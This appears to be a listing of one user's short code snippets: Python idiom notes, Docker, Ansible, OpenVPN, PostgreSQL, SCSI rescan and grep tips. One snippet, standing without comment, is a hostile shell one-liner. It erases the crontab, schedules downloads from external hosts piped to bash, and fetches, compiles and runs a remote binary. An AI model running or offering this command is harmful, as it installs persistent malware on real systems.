DavidPesticcio

Transforming Code into Beautiful, Idiomatic Python

Notes from Raymond Hettinger's talk at pycon US 2013 video, slides.

The code examples and direct quotes are all from Raymond's talk. I've reproduced them here for my own edification and the hopes that others will find them as handy as I have!

Looping over a range of numbers

for i in [0, 1, 2, 3, 4, 5]:

DavidPesticcio

Get boot2docker working with nfs instead of vboxsf.

Tested on:

- Boot2Docker-cli version: v1.6.0
  Git commit: 9894ae9
- Boot2Docker-cli version: v1.6.2
  Git commit: cb2c3bc

DavidPesticcio

---
# ^^^ YAML documents must begin with the document separator "---"
#
#### Example docblock, I like to put a descriptive comment at the top of my 
#### playbooks.
#
# Overview: Playbook to bootstrap a new host for configuration management.
# Applies to: production
# Description: 
#   Ensures that a host is configured for management with Ansible.

DavidPesticcio

#!/bin/bash 
 
# Default Variable Declarations 
DEFAULT="Default.txt" 
FILEEXT=".ovpn" 
CRT=".crt" 
KEY=".3des.key" 
CA="ca.crt" 
TA="ta.key" 
 

DavidPesticcio

crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget  -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k

DavidPesticcio

I heard from GitHub Two-Factor Authentication](https://github.com/blog/1614-two-factor-authentication) nearly a couple of days ago when I was reading my RSS feed. I enabled it and couldn' push to any of my repositories anymore. Learn in this blog post how to fix it.

Two-Factor Authentication

"Is a process involving two stages to verify the identity of an entity trying to access services in a computer or in a network". Github solves this authentication with sending an SMS to a device which wants to push to their platform.

Enabling Two-Factor Authentication

DavidPesticcio

-- show running queries (pre 9.2)
SELECT procpid, age(query_start, clock_timestamp()), usename, current_query 
FROM pg_stat_activity 
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%' 
ORDER BY query_start desc;

-- show running queries (9.2)
SELECT pid, age(query_start, clock_timestamp()), usename, query 
FROM pg_stat_activity 
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%' 

DavidPesticcio

https://community.spiceworks.com/topic/217130-mtu-issues-in-vpn-connections

Question:
Hello,

I often set up vpn tunnels on different network devices(cisco, juniper) and one day I read an info about MTU:

because of perfomance issues its better practise to reduce MTU size on tunnel interfaces/egress interfaces of routers.

How this is affect perfomance?

DavidPesticcio

#!/bin/bash

echo "Before scan:"
dmesg | awk '/scsi/ && /Direct-Access/'

for i in $(ls -d /sys/class/scsi_host/*); do echo "- - -" > $i/scan; done

echo "After scan:"
dmesg | awk '/scsi/ && /Direct-Access/'

DavidPesticcio

Find GNU grep results quicker with a bit of colour!

http://www.arwin.net/tech/bash.php
https://linuxaria.com/pills/coloring-grep-to-easier-research

Add this to your shell customisations file with your choice of colours:

export GREP_OPTIONS='--color=auto'
export GREP_COLOR='1;31;44'